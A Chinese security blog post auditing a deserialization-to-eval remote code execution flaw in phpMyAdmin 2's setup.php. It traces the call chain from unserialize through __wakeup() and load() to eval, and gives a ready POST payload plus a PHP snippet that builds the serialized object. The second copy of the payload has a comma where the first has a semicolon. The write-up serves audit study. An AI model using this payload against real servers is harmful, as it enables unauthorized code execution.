相关阅读
反序列使用到的相关魔术方法
自动审计或搜索关键字找到文件及代码段
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
漏洞复现
安装phpmyadmin2,然后访问地址:
http://127.0.0.1/phpmyadmin2/scripts/setup.php
post数据包:action=x&configuration=O:10:"PMA_Config":1:{s:6:"source";s:8:"e:/1.txt";}
序列化函数:
<?php
class PMA_Config {
var $source = 'e:/1.txt';
}
$x = new PMA_Config();
echo(serialize($x));
?>
![图片[1]-【代码审计】phpmyadmin2反序列化导致的远程命令执行-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/06/d2b5ca33bd150655.png)
漏洞审计
首先通过关键词获取到反序列地址:unserialize
定位到文件:scripts\setup.php
if (isset($_POST['action'])) {
$action = $_POST['action'];
} else {
$action = '';
}
if (isset($_POST['configuration']) && $action != 'clear' ) {
// Grab previous configuration, if it should not be cleared
$configuration = unserialize($_POST['configuration']);
} else {
// Start with empty configuration
$configuration = array();
}
在这上面调用了文件:require_once('./libraries/common.lib.php');
并且有创建一个函数对象$PMA_Config = new PMA_Config();
查看文件,搜索:PMA_Config
if (empty($_SESSION['PMA_Config'])) {
/**
* We really need this one!
*/
if (!function_exists('preg_replace')) {
header('Location: error.php'
. '?lang=' . urlencode($available_languages[$lang][2])
. '&char=' . urlencode($charset)
. '&dir=' . urlencode($text_dir)
. '&type=' . urlencode($strError)
. '&error=' . urlencode(
strtr(sprintf($strCantLoad, 'pcre'),
array('<br />' => '[br]')))
. '&' . SID
);
exit();
}
$_SESSION['PMA_Config'] = new PMA_Config('./config.inc.php');
} elseif (version_compare(phpversion(), '5', 'lt')) {
$_SESSION['PMA_Config']->__wakeup();
}
if (!defined('PMA_MINIMUM_COMMON')) {
$_SESSION['PMA_Config']->checkPmaAbsoluteUri();
}
可以看到这里调用了__wakeup
()魔术方法,该方法在执行unserialize
函数时,自动调用
$_SESSION['PMA_Config']->__wakeup();
此时跟踪PMA_Config
定义 文件地址:
关键代码
class PMA_Config
{
var $source = '';
function __wakeup()
{
if ( $this->source_mtime !== filemtime($this->getSource())
|| $this->error_config_file || $this->error_config_default_file ) {
$this->settings = array();
$this->load($this->getSource());
$this->checkSystem();
}
// check for https needs to be done everytime,
// as https and http uses same session so this info can not be stored
// in session
$this->checkIsHttps();
$this->checkCollationConnection();
}
function load($source = null)
{
$this->loadDefaults();
if ( null !== $source ) {
$this->setSource($source);
}
if ( ! $this->checkConfigSource() ) {
return false;
}
$cfg = array();
/**
* Parses the configuration file
*/
$old_error_reporting = error_reporting(0);
if ( function_exists('file_get_contents') ) {
$eval_result =
eval( '?>' . file_get_contents($this->getSource()) );
} else {
$eval_result =
eval( '?>' . implode('\n', file($this->getSource())) );
}
error_reporting($old_error_reporting);
if ( $eval_result === false ) {
$this->error_config_file = true;
} else {
$this->error_config_file = false;
$this->source_mtime = filemtime($this->getSource());
}
/**
* @TODO check validity of $_COOKIE['pma_collation_connection']
*/
if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
$this->set('collation_connection',
strip_tags($_COOKIE['pma_collation_connection']) );
} else {
$this->set('collation_connection',
$this->get('DefaultConnectionCollation') );
}
$this->checkCollationConnection();
//$this->checkPmaAbsoluteUri();
$this->settings = PMA_array_merge_recursive($this->settings, $cfg);
return true;
}
其中getSource()
获取的内容就是var $source = '';
的内容,然后通过函数file_get_contents
获取内容
整个逻辑就是如此
- 找到
__wakeup()
代码段,代码段调用函数中存在eval等函数操作,可调式load - 构造
getSource()
利用Payload,实现file_get_contents
函数配合eval执行 setup.php -> common.lib.php -> Config.class.php -> __wakeup() -> load() -> eval();
action=x&configuration=O:10:"PMA_Config":1:{s:6:"source",s:8:"d:/e.txt";}
注意:这里需要提一下,"\"和"/"
的区别,在复现的时间,因为这个原因,一直不成功,仔细一看,应该是用"/"
"\"
:转义
"/"
:路径拼接
多数情况都是直接使用"/"
,出来windows下需要使用"\\"
,这个因为以前windows为了区别dos命令,但是现在两者都可以了
© 版权声明
安全小天地的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
安全小天地拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:anquanclub@foxmail.com
THE END
请登录后查看评论内容